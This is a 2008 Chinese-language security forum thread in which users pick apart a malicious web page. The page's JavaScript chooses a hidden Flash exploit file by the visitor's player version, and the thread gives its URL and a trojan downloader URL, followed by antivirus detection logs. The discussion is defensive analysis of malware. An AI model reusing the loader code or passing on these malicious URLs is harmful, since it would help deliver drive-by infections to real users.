swf毒网，招解密人士

solcroft

http://ads.633f94d3.info/f/ilink.html

1. var version=deconcept.SWFObjectUtil.getPlayerVersion();if(version['major']==9){document.getElementById('flashversion').innerHTML="";if(version['rev']==115){var so=new SWFObject("./i115.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent")}else if(version['rev']==64){var so=new SWFObject("./i64.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent")}else if(version['rev']==47){var so=new SWFObject("./i47.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent")}else if(version['rev']==45){var so=new SWFObject("./i45.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent")}else if(version['rev']==28){var so=new SWFObject("./i28.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent")}else if(version['rev']==16){var so=new SWFObject("./i16.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent")}else if(version['rev']>=124){if(document.getElementById){document.getElementById('flashversion').innerHTML=""}}}

复制代码

有swf decompiler工具的帮忙看看

woai_jolin

2008-7-17 20:02:08        HTTP filter        file        http://ads.633f94d3.info/f/ilink.html        JS/Exploit.RealPlay.LF trojan        connection terminated - quarantined        3A8AD2D60C484EE\Administrator        Threat was detected upon access to web by the application: C:\Program Files\Internet Explorer\iexplore.exe.

qianwenxiang

http://flash.w3cpublic.cn/f/sw.exe

woai_jolin

2008-7-17 20:06:09        HTTP filter        file        http://flash.w3cpublic.cn/f/sw.exe        Win32/Agent.NXM trojan        connection terminated - quarantined        3A8AD2D60C484EE\Administrator        Threat was detected upon access to web by the application: C:\Program Files\Internet Explorer\iexplore.exe.

电影结束了

下载不下来...~
RP来了...~

sanhu35

版本高了 解不了

Kitman

Warning: A virus or unwanted program has been found in the HTTP Data.

Requested URL:         http://flash.w3cpublic.cn/f/sw.exe
Information:         Is the Trojan horse TR/Crypt.XDR.Gen


Generated by AntiVir WebGuard 8.0.13.0, AVE 8.1.1.9, VDF 7.0.5.132

sam.to

原帖由 qianwenxiang 于 2008-7-17 20:05 发表
http://flash.w3cpublic.cn/f/sw.exe

Kaspersky Internet Security 7.0

The requested URL http://flash.w3cpublic.cn/f/sw.exe is infected with Trojan-Downloader.Win32.Small.xwr virus

taihuxian

Access to the data has been denied!
Warning: A virus or unwanted program has been found in the HTTP Data.

Requested URL:         http://ads.633f94d3.info/f/ilink.html
Information:         Contains recognition pattern of the JS/Dldr.Agent.SI Java script virus


Generated by AntiVir WebGuard 8.0.15.0, AVE 8.1.1.9, VDF 7.0.5.134

taihuxian

Access to the data has been denied!
Warning: A virus or unwanted program has been found in the HTTP Data.

Requested URL:         http://flash.w3cpublic.cn/f/sw.exe
Information:         Is the TR/Crypt.XDR.Gen Trojan


Generated by AntiVir WebGuard 8.0.15.0, AVE 8.1.1.9, VDF 7.0.5.134